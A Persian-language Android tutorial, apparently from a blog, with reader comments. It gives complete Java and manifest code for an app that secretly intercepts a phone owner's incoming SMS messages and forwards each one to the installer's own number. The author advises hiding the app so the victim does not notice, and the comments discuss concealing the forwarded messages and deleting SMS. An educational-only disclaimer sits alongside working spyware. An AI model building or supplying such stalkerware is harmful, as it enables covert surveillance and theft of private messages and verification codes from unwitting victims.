دریافت اس ام اس های دیگران بدون فهیمدن آنها در برنامه نویسی اندروید
سلام دوستان در این سری از آموزش برنامه نویسی اندروید به آموزش دریافت اس ام اس های دیگران بدون فهیمدن آنها در برنامه نویسی اندروید می پردازیم پیرو مطلبی که دفعه قبل در سایت منتشر شد و کاربران بسیار استقبال کردند در این بار برنامه ای میسازیم تا در گوشی کاربر نصب شده و پیامک هایی را که وی دریافت می کند برای شماره ما ارسال کند.
نکته
سایت ما هیچ مسئولیتی پیرو این مطلب نمی پذیرد و فقط این مطلب جنبه ی آموزشی دارد هر گونه سو استفاده از آن مشکل شرعی دارد !
خب ابتدا ما باید یک BroadcatReciever ایجاد کنیم تا اس ام اس هایی که برای کاربر می آید را دریافت کنیم برای اینکار یک فایل به نام IncomingSms.java ایجاد کنید و کد های زیر را در آن قرار دهید.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | public class IncomingSms extends BroadcastReceiver { final SmsManager sms = SmsManager.getDefault(); public void onReceive(Context context, Intent intent) { final Bundle bundle = intent.getExtras(); try { if (bundle != null) { final Object[] pdusObj = (Object[]) bundle.get("pdus"); for (int i = 0; i < pdusObj.length; i++) { SmsMessage currentMessage = SmsMessage.createFromPdu((byte[]) pdusObj[i]); String phoneNumber = currentMessage.getDisplayOriginatingAddress(); String senderNum = phoneNumber; String message = currentMessage.getDisplayMessageBody(); Log.i("SmsReceiver", "senderNum: "+ senderNum + "; message: " + message); int duration = Toast.LENGTH_LONG; Toast toast = Toast.makeText(context, "senderNum: "+ senderNum + ", message: " + message, duration); toast.show(); } } } catch (Exception e) { Log.e("SmsReceiver", "Exception smsReceiver" +e); } } } |
حالا باید این ریسیوری را که تعریف کردیم را در AndroidManifest.xml قرار دهیم.
1 2 3 4 5 | <receiver android:name=".IncomingSms"> <intent-filter> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> |
دسترسی های زیر را هم به آن اضافه کنید.
1 2 3 | <uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission> <uses-permission android:name="android.permission.READ_SMS" /> <uses-permission android:name="android.permission.SEND_SMS"></uses-permission> |
فعلا ما اس ام اس کاربر را دریافت کردیم برای اینکه آن اس ام اس رو برای خودمان بفرستیم باید کد زیر را به IncomingSms.java اضافه کنید .
1 2 3 4 5 6 7 8 9 10 11 12 13 | try { //شماره خودتان را در زیر اضافه کنید String phoneNo="09123456789"; SmsManager smsManager = SmsManager.getDefault(); smsManager.sendTextMessage(phoneNo, null, message, null, null); Toast.makeText(context, "SMS Sent!", Toast.LENGTH_LONG).show(); } catch (Exception e) { Toast.makeText(context, "SMS faild, please try again later!", Toast.LENGTH_LONG).show(); e.printStackTrace(); } |
و در آخر کد نهایی IncomingSms.java همانند زیر می شود.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | public class IncomingSms extends BroadcastReceiver { final SmsManager sms = SmsManager.getDefault(); public void onReceive(Context context, Intent intent) { final Bundle bundle = intent.getExtras(); try { if (bundle != null) { final Object[] pdusObj = (Object[]) bundle.get("pdus"); for (int i = 0; i < pdusObj.length; i++) { SmsMessage currentMessage = SmsMessage.createFromPdu((byte[]) pdusObj[i]); String phoneNumber = currentMessage.getDisplayOriginatingAddress(); String senderNum = phoneNumber; String message = currentMessage.getDisplayMessageBody(); Log.i("SmsReceiver", "senderNum: "+ senderNum + "; message: " + message); int duration = Toast.LENGTH_LONG; Toast toast = Toast.makeText(context, "senderNum: "+ senderNum + ", message: " + message, duration); toast.show(); try { //شماره خودتان را در زیر اضافه کنید String phoneNo="09123456789"; SmsManager smsManager = SmsManager.getDefault(); smsManager.sendTextMessage(phoneNo, null, message, null, null); Toast.makeText(context, "SMS Sent!", Toast.LENGTH_LONG).show(); } catch (Exception e) { Toast.makeText(context, "SMS faild, please try again later!", Toast.LENGTH_LONG).show(); e.printStackTrace(); } } } } catch (Exception e) { Log.e("SmsReceiver", "Exception smsReceiver" +e); } } } |
ما یکسری Toast قرار داده ایم تا شما کرد و کار سیستم را یاد بگیرید ! برای اینکه حرفه ای تر شود و کاربر شما نفهمد چه اتفاقی افتاده است Toast را بردارید و با استفاده از آموزش قبل اپلیکیشن خود را hide کنید تا کاربر آن را پاک نکند.
این آموزش هم به پایان رسید.
موفق و موید باشید.
کدهای جالبین یه جورایی میشه باهاش نرمافزار کنترل والدین ساخت
بله درسته هدف ما آموزش است
موفق و موید باشید.
نمونه این نرمافزارها تو خود سایتهای ایرانی هستن ولی نمیدونم ایرانین یا خارجی
با کمی برنامه نویسی میشه این برنامه ها را ساخت و در کل ایرانی ها هرچیزی را که میبینند کاربر را جذب می کند متاسفانه در قبال گرفتن پول در اختیار آنها قرار می دهند.
موفق و موید باشید.
سلام ,
داداش ترکوندی با این سایتت . واقعا یه ابر سایته . یعنی عالیه . بهترینه . واقعا من به شما بدهکارم . همین الآن به خاطر راهنمایی های ساییتون درآمد داشتم .داداش انشاالله که موفق شی .
خواهش می کنم کار ما نشر علمه انشاالله موفق باشید.
با سلام و خدا قوت
بابت تمامی زحماتی که جهت اموزش امثال من میکشین و بی منت در اختیار عموم میگذارین ممنونم
این کدهای بالا را من در اندروید استدیو وارد کردم و خروجی APK ان را روی گوشی نصب کردم هیچ کاری در قبال امدون پیامک نمیکنه یعنی اون toast نشون داده نمیشه و به خط دیگه هم پیام نمیفرسته
البته چون من کدهای سایتهای دیگه ای را هم امتحان کردم اونها هم کار نکردن ممکنه دلیلی بیربط به این کدها داشته باشه مثلا سییستم من ویا
گوشی–بهرحال اگه کسی میتونه کمکم کنه براش ارسال کنم تا بررسی کنه
ممنون از تمام عزیزان راه اموزش
با سلام مجدد
این کدهایی که عرض کردم مشکل دارند در نسخه های پایین اندروید یعنی نسخه 4 اندروید کار میکنند ولی در اندروید6 کار نمیکنند اصلا مجوز دریافت پیامک نمیدهند
سلام
خوب اینجوری که شماره ما داخل اس ام اس هایه طرف هست میبینه
کد دلیتوشو از استک اور فلو دیدم که اس ام اس ها رو دلیت کنه ولی رو همه که نمیکنه
سلام امکان پاک کردن تمامی اس ام اس ها با گرفتن دسترسی امکان پذیر است.
سلام
این کد ها بر روی چه نسخه هایی از اندروید کار میکنه ؟
سلام و درود
تمامی نسخه ها فقط اینکه برای اندروید 5 به بالا باید دسترسی به صورت runtimepermission گرفته شود.
موفق باشید.
سلام خیلی جالب بود منتها شماره ما توی اس ام اس های طرف میفته . لطفا اگه راه حلی برای حل این مسئله وجود داره بگید.
تشکر بابت سایت بی نظیرتون
سلام و درود
راه حل دارد ولی باعث می شود شخص حتما از اپ شما برای ارسال پیام استفاده کنید که زیاد جالب نیست
موفق باشید.
سلام
من برنامه ای نوشتم که برای فعالسازی از پیامک استفاده میکنه و میخواستم پیام درخواستی که از طریق گوشی کاربر برای من ارسال میشه در لیست پیامهای گوشی کاربر نمایش داده نشه(مثل همراه بانک ها که وقتی با پیامک کار میکنند چیزی در لیست پیامها معلوم نیست)
از دستور
getApplicationContext().getContentResolver().delete(
Uri.parse(“content://sms/”+id), null, null);
برای پاک کردن پیامک استفاده کردم اما کار نکرد اگر امکانش هست راهنماییم کنید ممنون میشم
سلام امکان پذیر نیست شما پیامی رو پاک کنید مگر اینکه sms manager رو تغییر بدید.
سلام
روزتون بخیر. بسیار ممنون از برنامه ای که آموزش دادید.
فقط یه مشکلی دارم. البته یکی از دوستان هم ظاهرا مشکل من رو داره.
وقتی پیام میاد واسه گوشیم، نرم افزاری که نوشتم هیچ واکنشی نشون نمیده. (چند تا برنامه دیگه هم تست کردم)
فقط یه بار با برنامه شما یه پیام دریافت شد. اما نمی دونم چرا دیگه کار نمی کنه
ممنون می شم راهنماییم کنید.
سلام ببخشید یه سوال داشتم
کد هارو باید در کدام محیط بنویسیم؟؟؟
اندروید استودیو یا گت استارتت هم میشه.